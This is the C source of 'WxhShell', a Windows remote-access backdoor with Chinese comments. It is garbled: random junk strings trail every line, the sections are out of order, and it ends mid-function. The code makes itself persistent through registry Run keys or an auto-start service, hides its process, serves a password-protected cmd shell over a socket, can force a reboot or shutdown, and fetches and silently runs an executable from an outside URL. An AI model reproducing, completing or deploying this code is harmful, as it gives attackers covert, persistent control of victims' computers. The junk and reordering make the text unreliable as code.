    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i |t$sBIh  
    else { q45n.A6a  
    closesocket(wsh); ;/v^@  
    ExitThread(0); u>BR WN  
    } %lBFj/B  
    break; }{$@|6)R   
    } HkrNt/]  
  // 获取shell N67m=wRx  
  case 's': { FX{Sb"  
    CmdShell(wsh); /O9z-!Jz  
    closesocket(wsh); aa|xZ  
    ExitThread(0); C-8@elZ1  
    break; YJ6Xq||_  
  } k@?<Aw8 _X  
  // 退出 d/MMPge3  
  case 'x': { ){v nmJJ%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -{dw Ll_  
    CloseIt(wsh); 7*sB"_U2  
    break; Qi9SN00F.  
    } ' `S,d[~  
  // 离开 ^Oo%`(D?  
  case 'q': { qg_=5s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ujaaO6oZ7  
    closesocket(wsh); o!Y7y1$  
    WSACleanup(); MD+Q_  
    exit(1); +7=3[K  
    break; 2?&h{PA+  
        } ;aSEv"iWX  
  } K#>B'>A\  
  } gD-<^Q-  
xu3qX"  
  // 提示信息 Ra/S46$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T a_#Rg*!  
} 8{AzB8xp  
  } 'Ag?#vB  
G=DRz F  
  return; 8IO4>CMkv  
} HM`;%0T0(  
2gA6$s7  
// shell模块句柄 _T1|_9b  
int CmdShell(SOCKET sock) &Mol8=V)  
{ q:fkF^>  
STARTUPINFO si; 8q_nOGd  
ZeroMemory(&si,sizeof(si)); `On%1%k8  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :V&#Oo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; OF}vY0oiw?  
PROCESS_INFORMATION ProcessInfo; -Wf 2m6t  
char cmdline[]="cmd"; )<%GHDWL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T{Av[>M  
  return 0; LBTf}T\  
} 'Je;3"@  
BPW2WSm@<  
// 自身启动模式 U2;_{n*g%  
int StartFromService(void) WmeV[iI  
{ {$Qw]?Yv  
typedef struct W 5-=,t  
{ wtK+\Qnb  
  DWORD ExitStatus; NOQM:tBO>  
  DWORD PebBaseAddress; )KG.:BO<  
  DWORD AffinityMask;  3= PRe  
  DWORD BasePriority; H8X{!/,^  
  ULONG UniqueProcessId; WOh?/F[@u  
  ULONG InheritedFromUniqueProcessId; J%{>I   
}   PROCESS_BASIC_INFORMATION; QN":Qk(,q  
r+>gIX+Fl  
PROCNTQSIP NtQueryInformationProcess; 0`:0m/fsU  
NbH;@R)L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !IcP O  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; af)L+%Q%R  
Pa+%H]vB  
  HANDLE             hProcess; {;q zz9 |  
  PROCESS_BASIC_INFORMATION pbi; "d% o%  
w~Aw?75 t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v#TU7v?~  
  if(NULL == hInst ) return 0; N^v"n*M0|  
U<K)'l6#2n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c1Skt  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =nG g k}Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f]Xh7m(Gh  
UZz/v#y~  
  if (!NtQueryInformationProcess) return 0; `f S$@{YI_  
]@0C1 r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qf;x~1efC4  
  if(!hProcess) return 0; 2)-Umq{]{  
|cs]98FEf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9!; /+P  
@P@?KZ..v!  
  CloseHandle(hProcess); PKJw%.-  
dSkMA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8u6*;*o  
if(hProcess==NULL) return 0; yhc}*BMZ  
a[I :^S  
HMODULE hMod; mb,\wZ  
char procName[255]; %py3fzg  
unsigned long cbNeeded; T,r?% G{XE  
shKTj5s?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $Y,y~4I  
h/k00hD60  
  CloseHandle(hProcess); xPCRT*Pd  
T\q:  
if(strstr(procName,"services")) return 1; // 以服务启动 9eBD)tnw  
>P@g].Q-  
  return 0; // 注册表启动 a5cary Z"z  
} r'8qZJgm  
HAwdu1$8  
// 主模块 a`I \19p]  
int StartWxhshell(LPSTR lpCmdLine) X lLG/N  
{ a@!(o  )>  
  SOCKET wsl; o, PpD,,  
BOOL val=TRUE; z9Z4MXl  
  int port=0; \(_(pcl  
  struct sockaddr_in door; /*P) C'_M  
$O3.ex V  
  if(wscfg.ws_autoins) Install(); y*=sboX  
7vTzY%v  
port=atoi(lpCmdLine); z;DNl#|!L  
C cPOK2  
if(port<=0) port=wscfg.ws_port; 9:R3+,ZN  
ncrg`<'/,  
  WSADATA data; 7>"dc+Fg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; /g$G G9  
L>LIN 1A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   U$|q]N  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); e.\dqt~%y  
  door.sin_family = AF_INET; <p/zm}?')  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0 30LT$&!  
  door.sin_port = htons(port); .+A)^A  
bFjH* ~ P  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D6-R>"}  
closesocket(wsl); P?p]sLrP  
return 1; |M`'   
} gFqF&t  
#N"m[$;QR  
  if(listen(wsl,2) == INVALID_SOCKET) { E5!vw@,  
closesocket(wsl); A3)"+`&PUl  
return 1; x$;RfK2&p  
} ,p{naT%R  
  Wxhshell(wsl); Dj>eAO>  
  WSACleanup(); djH&)&q!  
}y Vx"e)  
return 0; :_}xN!9LA  
kDol1v`  
} E;}&2 a  
9U8x&Z]P  
// 以NT服务方式启动 ,Qx]_gZ`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Idb*,l|<  
{ @R%* ;)*F  
DWORD   status = 0; tn#cVB3  
  DWORD   specificError = 0xfffffff; fLnwA|n=  
O}>@G  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l^Ob60)2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 793 15A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >TMd1? ,  
  serviceStatus.dwWin32ExitCode     = 0; )$RV)  
  serviceStatus.dwServiceSpecificExitCode = 0; d?&`Z Vl  
  serviceStatus.dwCheckPoint       = 0; .W^B(y(tA  
  serviceStatus.dwWaitHint       = 0; /78]u^SW  
((C|&$@M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K[kK8i+(  
  if (hServiceStatusHandle==0) return;  QEg[  
~Oa$rqu%m  
status = GetLastError(); eZEk$W%  
  if (status!=NO_ERROR) <o/!M6^:  
{ r1}^\C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "MU-&**  
    serviceStatus.dwCheckPoint       = 0; <pfl>Uf  
    serviceStatus.dwWaitHint       = 0; +: x[cK  
    serviceStatus.dwWin32ExitCode     = status; EjL]#,QR  
    serviceStatus.dwServiceSpecificExitCode = specificError; [0EWIdT*b  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =* G3Khz!  
    return; udu<Nis4  
  } {.542}A  
1~ W@[D  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bn )1G$0|  
  serviceStatus.dwCheckPoint       = 0; k:I,$"y4  
  serviceStatus.dwWaitHint       = 0; c ef[T(>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +N=HI1^54R  
} "]#Ij6ml  
t5%cpkgh4  
// 处理NT服务事件,比如:启动、停止 j*@@H6G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]L97k(:Ib  
{ ;Ax-f04gG  
switch(fdwControl) \o}T0YX  
{ K fD. J)  
case SERVICE_CONTROL_STOP: w%.hALN5-C  
  serviceStatus.dwWin32ExitCode = 0; X8VBs#tLE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /i3 JP}  
  serviceStatus.dwCheckPoint   = 0; j1KNgAo<4  
  serviceStatus.dwWaitHint     = 0; =B9-}]DDO  
  { g!R7CRt%  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H,]8[ qT<  
  } n1J u =C  
  return; kh9'W<tE  
case SERVICE_CONTROL_PAUSE: #m,H1YH M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `0\Z*^>  
  break; y QClq{A  
case SERVICE_CONTROL_CONTINUE: x>}ml\R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "aOs#4N  
  break; RqgN<&g?  
case SERVICE_CONTROL_INTERROGATE: BbI%tmA7  
  break; b%0p<*:a/  
}; d!E_EoOi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); sSZ)C|Q  
} H0;Iv#S!  
7Y9#y{v1  
// 标准应用程序主函数 rz@q W2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &J)<1!|  
{ 3Rc*vVnI  
)[ A-d(y=  
// 获取操作系统版本 d #1Y^3n  
OsIsNt=GetOsVer(); H"FK(N\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sqrLys_S  
l::q F 0  
  // 从命令行安装 R3~,&ab  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^K;k4oK  
EY)2,  
  // 下载执行文件 . :Skc  
if(wscfg.ws_downexe) { j:h}ka/!p  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \IE![=p\w  
  WinExec(wscfg.ws_filenam,SW_HIDE); xIGq+yd(  
} eAfi!!Z<  
$AZYY\1  
if(!OsIsNt) { g}NO$?ndg  
// 如果时win9x,隐藏进程并且设置为注册表启动 %"0,o$  
HideProc(); xj3 qOx$  
StartWxhshell(lpCmdLine); o/w3b 8  
} 6;Z -Y>\c  
else +4s]#{mP  
  if(StartFromService()) $Z:O&sD{  
  // 以服务方式启动 2)n`Bd  
  StartServiceCtrlDispatcher(DispatchTable); o]4]fLQ  
else itg_+%^R  
  // 普通方式启动 j(=w4Sd_W  
  StartWxhshell(lpCmdLine); h m,{C  
(-gomn  
return 0; h^SWb9 1"G  
} `gX|q3K\s  
Q#\Nhc  
d5$D[,`1  
'OsZD?W{  
=========================================== V`y^m@U!  
wXKtQ#o}  
( zWBrCX  
Nap[=[rv  
=6u@ JpOl  
`}EnY@*h  
" krUtOVI  
Vh^y6U<  
#include <stdio.h> ^ Oh  
#include <string.h> k7^hc th  
#include <windows.h> *%Rmdyn  
#include <winsock2.h> P.y +jyu  
#include <winsvc.h> AJ\&>6GZ(b  
#include <urlmon.h> zmo2uUEd  
i "h\*B=  
#pragma comment (lib, "Ws2_32.lib") w:t~M[kTW  
#pragma comment (lib, "urlmon.lib") $*ff]>#  
DZSS  
#define MAX_USER   100 // 最大客户端连接数 :C:6bDQ  
#define BUF_SOCK   200 // sock buffer %L=e%E=m  
#define KEY_BUFF   255 // 输入 buffer *'>_XX  
xDo0bR(  
#define REBOOT     0   // 重启 ev4[4T-( @  
#define SHUTDOWN   1   // 关机 GC')50T J  
2? qC8eC  
#define DEF_PORT   5000 // 监听端口 $aV62uNf  
V|8'3=Z=  
#define REG_LEN     16   // 注册表键长度 UxGu1a  
#define SVC_LEN     80   // NT服务名长度  6:zPWJB  
 [E1qv;   
// 从dll定义API #L*\^ c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Lc{AB!Br  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A NhqS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iXDG-_K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9{u=  
F7DA~G!  
// wxhshell配置信息 DpRMXo[  
struct WSCFG { W_W!v&@E=  
  int ws_port;         // 监听端口 NiZfaC6V  
  char ws_passstr[REG_LEN]; // 口令 Rl Oy,/-<  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2:38CdkYp  
  char ws_regname[REG_LEN]; // 注册表键名 \Y4(+t=4  
  char ws_svcname[REG_LEN]; // 服务名 B[N]=V  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~/L:$  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 (!* l+}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *ERV\/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "t0^4=c+7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zjmo IE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P~j#8cH7  
Bgxk>Y  
}; S2$66xr#  
{KG}m'lx  
// default Wxhshell configuration +F)EGB%LXs  
struct WSCFG wscfg={DEF_PORT, GW A T0  
    "xuhuanlingzhe", Ui'v ' $  
    1, t]h_w7!U  
    "Wxhshell", 2 R\K!e  
    "Wxhshell", 5i[O\@]5  
            "WxhShell Service", &W45.2  
    "Wrsky Windows CmdShell Service", p:~#(/GWf  
    "Please Input Your Password: ", ~ P\4 N  
  1, %Psg53N  
  "http://www.wrsky.com/wxhshell.exe", ~su>RolaX  
  "Wxhshell.exe" }>{R<[I!G  
    }; &W\e 5X<A  
?MH=8Cl1w  
// 消息定义模块 `i`P}W!F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w|f+OlPXq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "S;4hO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j9fBl:Fr  
char *msg_ws_ext="\n\rExit."; !]F`qS>  
char *msg_ws_end="\n\rQuit."; o@)Fy51DD  
char *msg_ws_boot="\n\rReboot..."; Ue}1(2.v  
char *msg_ws_poff="\n\rShutdown..."; 1S?~ c25=h  
char *msg_ws_down="\n\rSave to "; *y4DK6OFe  
xm{?h,U,  
char *msg_ws_err="\n\rErr!"; P.Nt jz/B  
char *msg_ws_ok="\n\rOK!"; 9K$ x2U  
zqA>eDx  
char ExeFile[MAX_PATH]; HhynU/36  
int nUser = 0; 2 5~Z%_?  
HANDLE handles[MAX_USER]; \l!+l  
int OsIsNt; =F \Xt "  
Vh0cac|X  
SERVICE_STATUS       serviceStatus; -5*OSA:8x  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _ s 3aaOL  
O~5t[  
// 函数声明 D"4*l5l  
int Install(void); b$@I(.X:  
int Uninstall(void); "09v6Tx  
int DownloadFile(char *sURL, SOCKET wsh); |b\a)1Po:  
int Boot(int flag); z};|.N}  
void HideProc(void); ja9u?UbW  
int GetOsVer(void); ]!TE  
int Wxhshell(SOCKET wsl); bPTtA;u  
void TalkWithClient(void *cs); dk7x<$h-h0  
int CmdShell(SOCKET sock); /`m* PgJ  
int StartFromService(void); ;Rv WF )  
int StartWxhshell(LPSTR lpCmdLine); o(tJc}Mh+(  
@fA{;@N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CbZ;gjgY*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vAM1|,U  
lf-.c$.>  
// 数据结构和表定义 6.]~7n  
SERVICE_TABLE_ENTRY DispatchTable[] = H'i\N?VL  
{ 9wx]xg4l"  
{wscfg.ws_svcname, NTServiceMain}, AJ\gDjj<  
{NULL, NULL} Y2VfJ}%Q  
}; Tf#Op v)  
./I?|ih  
// 自我安装 u0W6u} 4;  
int Install(void) eBa#Z1Z  
{ ]WNY"B>+  
  char svExeFile[MAX_PATH]; jG ouwta  
  HKEY key; Jj)J5 S /  
  strcpy(svExeFile,ExeFile); b}(c'W*z%  
;gL{*gR]S  
// 如果是win9x系统,修改注册表设为自启动 mX>N1zAz  
if(!OsIsNt) { ZY<R Nwu  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  L]l/w  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m ^FKE:  
  RegCloseKey(key); ?n# $y@U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #e.x]v:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4Q!%16 P  
  RegCloseKey(key); 29=ob("  
  return 0; s/ABT.ZO  
    } 8Y-*rpLy  
  } +tk`$g  
} 6D ]fDeH\  
else { 4M%|N  
/,S VG1  
// 如果是NT以上系统,安装为系统服务 t;+b*S6D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); j3&q?1  
if (schSCManager!=0) "$N$:B@U  
{ m=n79]b:N  
  SC_HANDLE schService = CreateService nP[Z6h  
  ( or#] ![7N  
  schSCManager, JFI*Pt;X9  
  wscfg.ws_svcname, sPc}hG+N  
  wscfg.ws_svcdisp, vw>(JCR  
  SERVICE_ALL_ACCESS, ktPM66`b  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , z4 =OR@ h  
  SERVICE_AUTO_START, }J?,?>Z  
  SERVICE_ERROR_NORMAL, GPni%P#a@0  
  svExeFile, E-^(VZ_Xj  
  NULL, 9Tr ceL;  
  NULL, UB+~K/  
  NULL, /*;a6S8q  
  NULL, 0e&&k  
  NULL 4IW fp&Q!  
  ); --diG$x.  
  if (schService!=0) <}RD]Sc$1  
  { HY_>sD  
  CloseServiceHandle(schService); CF3x\6.q}  
  CloseServiceHandle(schSCManager); R<f F ^^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p8XvfM  
  strcat(svExeFile,wscfg.ws_svcname); 4RctYMz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { _N:$|O#  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); '+Jy//5?  
  RegCloseKey(key); v5@4 |u3ds  
  return 0; 0Sk~m4fj(  
    } X9PbU1o;  
  } @-K[@e/uwy  
  CloseServiceHandle(schSCManager); ;07$G+['  
} Q\zaa9P  
} %7 -(c  
;ZuHv {=  
return 1; )n"0:"Ou  
} 2u-J+  
.h4NG4FIF  
// 自我卸载 QDj%m%Xd  
int Uninstall(void) c|3oa"6T>  
{ iOIq2&sV  
  HKEY key; 4<tbZP3/6)  
MA_YMxP.'  
if(!OsIsNt) { M._E$y,5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { "c} en[  
  RegDeleteValue(key,wscfg.ws_regname); ..h@QQ  
  RegCloseKey(key); q.R(>ZcV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 4pMp@ b  
  RegDeleteValue(key,wscfg.ws_regname);  RSj8T<  
  RegCloseKey(key); DZmVm['l  
  return 0; x0)=jp '  
  } OYxYlUq  
} Jw=7eay$F  
} &x B^  
else { g?|Z/eVJ  
R|}4H*N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e}-fGtFx  
if (schSCManager!=0) 66-\}8f8a  
{ y$nI?:d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O13]H"O_  
  if (schService!=0) {/)i}V#RE  
  { vN v'%;L  
  if(DeleteService(schService)!=0) { H!0m8LCnb  
  CloseServiceHandle(schService); Z&?4<-@6\p  
  CloseServiceHandle(schSCManager); l z"o( %D  
  return 0; %CYo, e  
  } %}H 2  
  CloseServiceHandle(schService); 6:S, {@G  
  } MCTJ^g"D  
  CloseServiceHandle(schSCManager); D^>d<LX  
} W4av?H  
} wbOYtN Y@  
!w UznyYwt  
return 1; '/XP4B\(E  
} .|u`s,\  
,[ppETz  
// 从指定url下载文件 UAz^P6iQ`~  
int DownloadFile(char *sURL, SOCKET wsh) u0<yGsEGD  
{ 9W(&g)`  
  HRESULT hr; \>*.+?97  
char seps[]= "/"; |J`v w  
char *token; l x;87MDs  
char *file; R}w}G6"\  
char myURL[MAX_PATH]; z &P1C,n)  
char myFILE[MAX_PATH]; 5m'AT]5Tn_  
d3\?:}o,  
strcpy(myURL,sURL); %^E 7Iqc  
  token=strtok(myURL,seps); _(?`eWo  
  while(token!=NULL) K_ymA,&()  
  { :sK4mRF  
    file=token; s* u1n+Zq  
  token=strtok(NULL,seps); Z JcX-Z!\  
  } ( ./MFf  
_:NQF7X#ug  
GetCurrentDirectory(MAX_PATH,myFILE); OO?N)IB@  
strcat(myFILE, "\\"); :4)x  
strcat(myFILE, file); &`s{-<t<L  
  send(wsh,myFILE,strlen(myFILE),0); OA6i/3 #8  
send(wsh,"...",3,0); t}I@Rmso  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >WZbb d-  
  if(hr==S_OK) w^zqYGxG)  
return 0; @",#'eC"  
else fQ1j@{Xa  
return 1; R=a4zVQ  
6^J[SQ6P  
} !^y;|9?O  
-3? <Ja  
// 系统电源模块 (x/:j*`K  
int Boot(int flag) zd8A8]&-  
{ a;KdkykG  
  HANDLE hToken; |S).,B  
  TOKEN_PRIVILEGES tkp; XZ8rM4 ]  
U!Zj%H1XQ0  
  if(OsIsNt) { B*}]'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VHqoa>U,*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7neJV  
    tkp.PrivilegeCount = 1; ct|0zl~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {*n<A{$[ m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [G|(E  
if(flag==REBOOT) { X%<qHbKB,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ed5oN^V.<  
  return 0; _3%:m||,XP  
} Y)lr+~84f  
else { ><IWF#kUA  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3mYW]  
  return 0; `Rq|*:LV  
} "XV@O jr E  
  } Q_fgpjEh/t  
  else { 6Hb a@Q1`  
if(flag==REBOOT) { z__t8yc3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Wmb M]Z  
  return 0; a%HNz_ro  
} b"#S92R+  
else { s&o9LdL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Xl2g Hh  
  return 0; 3'6 UvAXFH  
} w[l#0ZZ  
} rxMo7px@}I  
d>I)_05t  
return 1; NTZ3Np`  
} kq(><T  
2.Ww(`swL  
// win9x进程隐藏模块 <G<5)$ S  
void HideProc(void) uSI@Cjp  
{ Y R~e_cA:  
:ln| n6X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Z R=[@Oi  
  if ( hKernel != NULL ) 4<}@hk Y  
  { ]smu~t0\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ; xw9#.d#D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _~CJitR3  
    FreeLibrary(hKernel); z8S]FpM6  
  } gn/]1NNfR  
O^./) #!#  
return; )S4ga  
} O SUiS`k  
k0\a7$}F  
// 获取操作系统版本 xWa[qCr  
int GetOsVer(void) 0&| M/  
{ [ R8BcO(  
  OSVERSIONINFO winfo; r9bAbE bI  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); uA =%EEZ  
  GetVersionEx(&winfo); Jpp-3i.F#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) '>1M~B  
  return 1; Z)~?foe'  
  else MD1X1,fk  
  return 0; K\B!tk  
} :O@n6%pSL  
TBJ?8W(  
// 客户端句柄模块 tAep_GR  
int Wxhshell(SOCKET wsl) T>1#SWQ/9  
{ cf>lY  
  SOCKET wsh; =Oh$pZRymu  
  struct sockaddr_in client; Si~wig2  
  DWORD myID; ljrJC  
6=JJ!`"<2  
  while(nUser<MAX_USER) ' ZTRl+  
{ +ru`Zw5,  
  int nSize=sizeof(client); ":/Vp,g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ;}S_PnwC@  
  if(wsh==INVALID_SOCKET) return 1; k 75 p  
6 mLC{X[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =&"pG` x  
if(handles[nUser]==0) @%u}|iF|  
  closesocket(wsh); ?uTuO  
else ph(LsPT-  
  nUser++; q0>9T  
  } `l?MmIJ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e'G3\h}#  
I;_T_m4.q  
  return 0; \j)c?1*$  
} $$4flfx  
BIx*(  
// 关闭 socket 8,+T[S  
void CloseIt(SOCKET wsh) |mWSS'7fI  
{ j+AZ!$E  
closesocket(wsh); W6EEC<$JL  
nUser--; twldwuN  
ExitThread(0); !}U3{L-  
} x7l}u`N4  
6OC4?#96%'  
// 客户端请求句柄 sP@XV/`3L6  
void TalkWithClient(void *cs) 8aRmHy"9l  
{ Bw`?zd\*  
lc fAb@}2  
  SOCKET wsh=(SOCKET)cs; (?XIhpd  
  char pwd[SVC_LEN]; !7#*Wdt+P  
  char cmd[KEY_BUFF]; ]CS N7Q+l  
char chr[1]; u}R|q  
int i,j; MxGQM>  
a>8] +@  
  while (nUser < MAX_USER) { d^IX(y*$  
v\!Cq+lFML  
if(wscfg.ws_passstr) { Edh9=sxL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {nA+-=T  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~KGE(o4p  
  //ZeroMemory(pwd,KEY_BUFF); "k [$euV  
      i=0; Wx;%W"a  
  while(i<SVC_LEN) { fIx|0,D&7L  
h;} fdk  
  // 设置超时 ZZ!6O/M  
  fd_set FdRead; \KpJIHkBRy  
  struct timeval TimeOut; <$uDN].T4  
  FD_ZERO(&FdRead); si]MQ\i+  
  FD_SET(wsh,&FdRead); v/]xdP^Z  
  TimeOut.tv_sec=8; Y@ ;/Sf$Q  
  TimeOut.tv_usec=0; qB$QC  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |4aU&OX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 5f@&XwD9  
!.@:t`w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4^Ks!S>K{8  
  pwd=chr[0]; BUh(pS:  
  if(chr[0]==0xd || chr[0]==0xa) { 1,Pg^Xu  
  pwd=0; "GqasbX  
  break; *E|3Vy{4  
  } :N<o<qn  
  i++; =-P<v2|e  
    } ~$ ?85   
<Z~Nz>'r  
  // 如果是非法用户,关闭 socket #>5T,[{?j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4_CXs.v1  
} 6+>X`k%D  
yg|yoL'g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i}<fg*6@E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pa|*Jcr  
Uul5h8F  
while(1) { 6_9@s*=d>  
m9 D*I1  
  ZeroMemory(cmd,KEY_BUFF); ky]L`w  
]wbV1Y"  
      // 自动支持客户端 telnet标准   3<a|_(K  
  j=0; fx^yC.$2  
  while(j<KEY_BUFF) { l0',B*og  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \Y:zg3q*  
  cmd[j]=chr[0]; ] TZ/=Id  
  if(chr[0]==0xa || chr[0]==0xd) { (h@~0S  
  cmd[j]=0; *a(GG  
  break; [Q8vS;.  
  } <1~_nt~(*  
  j++; [*ug:PG  
    } $9Xn.,W  
1':};}dCJ  
  // 下载文件 yzNDXA.  
  if(strstr(cmd,"http://")) { yWH!v]S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); U?:?NC=1{  
  if(DownloadFile(cmd,wsh)) FB~IO#E8W  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); G)3r[C^[k  
  else jR3mV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NPE 4@c_a@  
  } !.|A}8nK  
